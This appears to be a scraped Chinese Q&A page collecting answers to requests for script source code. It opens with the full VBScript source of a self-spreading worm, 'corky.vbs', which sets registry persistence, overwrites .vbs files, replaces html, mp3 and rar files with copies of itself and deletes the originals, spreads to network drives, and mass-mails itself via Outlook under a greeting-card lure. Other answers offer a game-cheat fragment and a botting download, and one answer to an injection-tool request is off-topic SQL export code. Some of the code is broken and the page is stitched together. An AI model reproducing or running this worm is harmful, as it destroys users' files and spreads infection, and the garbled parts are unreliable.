脚本源码参考

1. 求VBS脚本病毒源码

'corky.vbs
'corky
'11-16-2007
'用记事本存为corky.vbs，文件类型选所有文件即*.*
dim wsh,fso,fa,allvbs,syspath,winpath
set wsh=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")

set fa=fso.openTextFile(Wscript.ScriptFullName,1)
allvbs=fa.ReadAll
fa.close

settimeout

winpath=GSF(0)
syspath=GSF(1)
writereg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer",syspath&"\corky.vbs"
writereg "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\explorer",winpath&"\system.vbs"

file BP(winpath,"system.vbs")
file BP(syspath,"corky.vbs")

listdrive
net
sendmail

set wsh=nothing
set fso=nothing

sub settimeout()
on error resume next
dim a,re
set a=createobject("wscript.shell")
re=a.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (re>=1) then
a.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
end sub

sub file(filename)
dim fso,wsh,f1,f2
set fso=createobject("scripting.filesystemobject")
fso.getfile(wscript.scriptfullname).(filename)
end sub

sub writereg(a,b)
dim wsh
set wsh=createobject("wscript.shell")
wsh.regwrite a,b
end sub
sub listdrive()
dim ds,d
set ds=fso.drives
for each d in ds
if d.drivetype=2 or d.drivetype=3 then
listfile d.path&"\"
listfolder d.path&"\"
end if
next
end sub

sub listfolder(fds)
dim fs,fd,fdf,fn
set fs=fso.getfolder(fds)
set fd=fs.subfolders
for each fdf in fd
listfile(fdf.path)
listfolder(fdf.path)
next
end sub

sub listfile(folder)
dim fd,fs,f,ext,f1,fn,fh
set fd=fso.getfolder(folder)
set fs=fd.files
for each f in fs
ext =fso.GetExtensionName(f)
ext=Lcase(ext)
fn=Lcase(f.name)
f.attributes=0
if (ext="vbs") Then
set f1=fso.openTextFile(f.path,2,true)
f1.write allvbs
f1.close
end if
if (ext="htm" ) or (ext="html") or (ext="mp3") or (ext="rar") then
set fh=fso.CreateTextFile(f.path&".vbs",True)
fh.write allvbs
fh.close
f.delete
end if
next
end sub

sub net()
on error resume next
dim netobj,nd
dim i
set netobj=createobject("wscript.network")
set nd=netobj.EnumNetworkDrives
if nd.Count >0 then
For i=0 to nd.Count-1
fso.file BF(GSF(0),"System.vbs")
next
end if
end sub

function BP(d,p)
on error resume next
BP=fso.Buildpath(d,p)
end function

function SF(fd)
on error resume next
SF=fso.SpecialFolder(fd)
end function

function GSF(fi)
on error resume next
GSF=fso.GetSpecialFolder(fi)
end function

sub sendmail()
On Error Resume Next
set outobj=Wscript.CreateObject("Outlook.Application")
If outobj= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")

Set addrList= mapiObj.AddressLists
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
For addrEntIndex= 1 To addrEntCount
Set item = outlookApp.CreateItem(0)
Set addrEnt = addr.AddressEntries(addrEntIndex)
item.To = addrEnt.Address
item.Subject ="你好吗老朋友？好久不见了"
item.Body = "这里是我自己制作的贺卡希望你能喜欢！"

Set attachMents=item.Attachments
attachMents.Add fileSysObj.GetSpecialFolder(1)&"corky.vbs"
item.DeleteAfterSubmit = True
If item.To <> "" Then
item.Send
wsh.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if
set mapiObj=nothing
set outobj=nothing

end sub

2. 求一按键精灵脚本源码，通过图片判断游戏是否掉线的。每天挂机一晚上。第二天起来发现早掉线了。

也简单，就是要知道你说的是什么 ，例如：qq吧，可能通过检测食任务栏上的图标的一个点的颜色来看有没有在线，因为在线图标是彩色的。离线就变灰了。你可以设置一个脚本，让他一小时检测一次，如果是灰色就重新登陆。如果是彩色就继续等下一个小时。

3. 自动精灵添加动作什么意思

自动精灵添加动作的意思是：需要添加相关功能，比如识别文字，截取图片等动作。
自动精灵是一款脚本开发软件，丰富的脚本开发教学资源，脚本源码参考示例，海量手游脚本辅助，新手零基础开发脚本，免费录制脚本，免费提供高级函数库协助开发。自动精灵iOS版、触动安卓免root，RPA自动化工具、企业版中控、云控，批量操控，跨屏控制，群控工具等功能。触动小精灵，免费打包脚本生成应用软件，自定义图标、名称等信息，打造专属APP。帮你玩云手机，一台设备可控制N台云手机，24h远程挂机不停歇，

4. 求QQ西游自动打怪脚本源代码

Qy自动打怪加血助手

http://115(此处去掉).com/file/bhqy41vj

1、没用过大漠插件的，运行“注册大漠插件到系统.bat”注册一下插件。

2、加血的有三个，最后一个是用 “ 加血技能加血”，是医生用的，如果喝药瓶的话，加血的就不要用最后一个。

3、游戏分辨率为1024*600，不改就不用了。窗口不能最小化，可以遮挡，设有隐藏窗口键，避免不小心最小化。

4、自动旋转打怪，如果选怪7秒后，不打怪，则自动重新选怪。

5. 引流脚本源码是什么

引流脚本使用按键精灵制作出来的，代码就是制作的一些数据，制作脚本的话一般都需要一个团队一分析检测，不然做出来的脚本会很不稳定，现在比较做得好的脚本我知道的有极速引流脚本，他家算是最早做脚本的那批。

6. 小弟想找个梦幻西游的跑表脚本源代码`要按键精灵有的那中`要钱的没有`讲道理的去死`谢谢各位大侠了

不可能有这种脚本的，因为每次接镖都是随机的，遇怪的时间地点数量等等也是随机的。
除非是外挂，否则按键精灵是不可能做到的。

7. 谁有按键精灵lol挂机脚本的源代码啊，求分享。

#region
using System;
using System.Collections.Generic;
using System.Linq;
using LeagueSharp;
using LeagueSharp.Common;

#endregion

namespace RefundExploiter
{
internal class Program
{
public static Menu Menu;

public static List<int> Consumables = new List<int> { XXXXXX };
public static List<int> NoCD = new List<int> { 3074, 3140, 3153, }; ''''''(启动,暂停,终止)

public static int RefundItemId = 0;
private static byte RefundInventorySlot;

public static bool Swapped = false;
public static bool Refunded = false;
待续...........
给你一小部分 剩下的加100分发你邮箱

8. 求指导按键精灵脚本编写思路和源码参考

按键精灵会被封号。
我开的按键精灵点别的游戏，然后撸了一局直接就被封了一个月。再也不敢开了。

9. 谁能给我个脚本代源码注入工具！！

呵…要这个做什么呢？？…给你一个ASP+SQL的存储过程的应用事例先看下面一段代码：

'声明与 sql 谈话时使用的变量
Dim oServer ' SQL Server 对象
Dim oDatabase ' 要使用的目标数据库
Dim oBCP ' BCP 对象
Dim nRows ' 从 bcp 返回的行数
dim table ' 表对象
on error resume next
' 第一个参数必须是数据库
if WScript.Arguments(0) = "" then
WScript.Echo "您没有提供要连接的数据库"
WScript.Quit
end if
' 创建 SQL DMO 的实例
Set oServer = CreateObject("SQLDMO.SQLServer")
' 创建 SQL DMO Bulk 对象的实例
Set oBCP = CreateObject("SQLDMO.BulkCopy")
oServer.EnableBcp = True
' 登录到本地服务器
' 希望您已经更改了 sa 口令!!
oServer.Connect ".", "sa"
' 连接到提供的数据库
Set oDatabase = oServer.Databases(Wscript.Arguments(0))

' 将分隔符设置为逗号
oBCP.ColumnDelimiter = vbComma
' 将文件类型设置为以逗号分隔
oBCP.DataFileType = SQLDMODataFile_CommaDelimitedChar
oBCP.ImportRowsPerBatch = 1000
oBCP.MaximumErrorsBeforeAbort = 1
BCP.RowDelimiter = vbCrLf
oBCP.ServerBCPDataFileType = SQLDMOBCPDataFile_Char
oBCP.UseExistingConnection = True
' 如果未提供表，则转储所有的表
f wscript.Arguments(1) = "" then
for each table in oDatabase.tables
' 确保该表不是系统表
if table.systemobject = false then
oBCP.DataFilePath = table.name & ".csv"
nRows = table.ExportData(oBCP)
wscript.Echo nRows & " rows exported from " & table.name
end if
next
else
' 设置输出文件
oBCP.DataFilePath = wscript.Arguments(1) & ".csv"
nRows = oDatabase.Tables(wscript.arguments(1)).ExportData(oBCP)
wscript.Echo nRows & " rows exported from " & wscript.arguments(1)
end if
DMO 的全部内容要比本文介绍的多得多，但我希望本文能给您一些感性认识：用某些简单的 WSH 脚本和 DMO 可以做些什么。你可以下示例（英文）。有关 DMO 的详细信息，请访问 http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm（英文）。

数据转换服务
从数据库表中取得一个记录或计算一个值时，需要使用返回输出参数的存储过程。为了举例，先在SQL Server的pubs库中新建一存储过程OUTemploy，该存储过程需要输入两个日期，然后输出一个最大值。

CREATE PROCEDURE OUTemploy

(

@job_lvl tinyint OUTPUT,

@hire_date1 datetime,

@hire_date2 datetime

)

AS

select @job_lvl = MAX(job_lvl) from employee

where hire_date >= @hire_date1 and hire_date <= @hire_date2
导出到 Comma Separated 文件 (CSV)，可以作为将数据导出到 SQL 和从 SQL 导入的起点，但这不象是尖端科技（太过于 20 世纪了，您不觉得吗?）。“SQL Server 7.0”以“数据转换服务 (DTS)”的形式，提供了相当完善的导入和导出机制。幸运的是，脚本在“SQL Server”的这个新领域中仍有一席之地，因此，您可以用“Visual Basic(R) 脚本编辑 (VBScript)”、“JScript(R)”或“Perl”的技术来扩展 DTS 的能力。

DTS 的设置非常简单，特别是在使用“SQL ServerEnterprise Manager”的时候。在默认情况下，“SQL Server”有一个定义的文件夹，可存储任何转换，而且“Enterprise Manager”提供了创建和编辑 DTS 程序包的大的图形用户界面 (GUI)。在下面的示例中，我选择了已由 sqlexport.wsf 文件创建的 employees.csv 文件和“SQL Server”中的一个新表。DTA 程序包将创建该表，加载到 Text 文件中，然后运行某个脚本，将数据转换到“SQL Server”的表中。

http://www.microsoft.com/china/msdn/Archives/library/images/scripting012000-1.gif（图）DTS 程序包中的转换，使脚本在整个转换过程中保持运行状态。“SQL Enterprise Manager”提供的简单的脚本编辑器，有一个语法分析脚本按钮。在运行脚本之前，该按钮将警告您脚本中的错误。在转换过程中，该脚本使用 VBScript 的 Cint 功能，将 employeeid 和 deptid 的输入转换为 int，并将所有的电子邮件地址转换为小写字母。

'**********************************************************************
' Visual Basic 转换脚本
' 把每个源列复制到
' 目标列
'***********************************************************************
Function Main()
DTSDestination("EmployeeID") = cint(DTSSource("Col001"))
DTSDestination("FirstName") = DTSSource("Col002")
DTSDestination("LastName") = DTSSource("Col003")
DTSDestination("email") = lcase(DTSSource("Col004"))
DTSDestination("extension") = DTSSource("Col005")
DTSDestination("office") = DTSSource("Col006")
DTSDestination("DeptID") = cint(DTSSource("Col007"))
Main = DTSTransformStat_OK
End Function
用 DTS，能够采用某些完善的导入/导出机制，并使您能够在转换的任何一步中使用脚本。重要的是，要注意脚本可能不是操作数据的最佳方式 — 尤其是您的数据集很大的话。如果您有大量数据需要转换，而且性能也很重要，则您可能需要考虑使用 Visual Basic 或 C++ 来创建 COM 组件，然后从 DTS 内部调用该组件。也就是说，如果性能并不重要，并且要在数据导入/导出时对它进行转换，则脚本为您提供了实现这一点的灵活机制，并使您能够将所有代码存储到“SQL Server”数据库中，使部署变得相当简单。
……呀！太多了！ 要不你给我来信！ 我转给你…电邮地址 [email protected]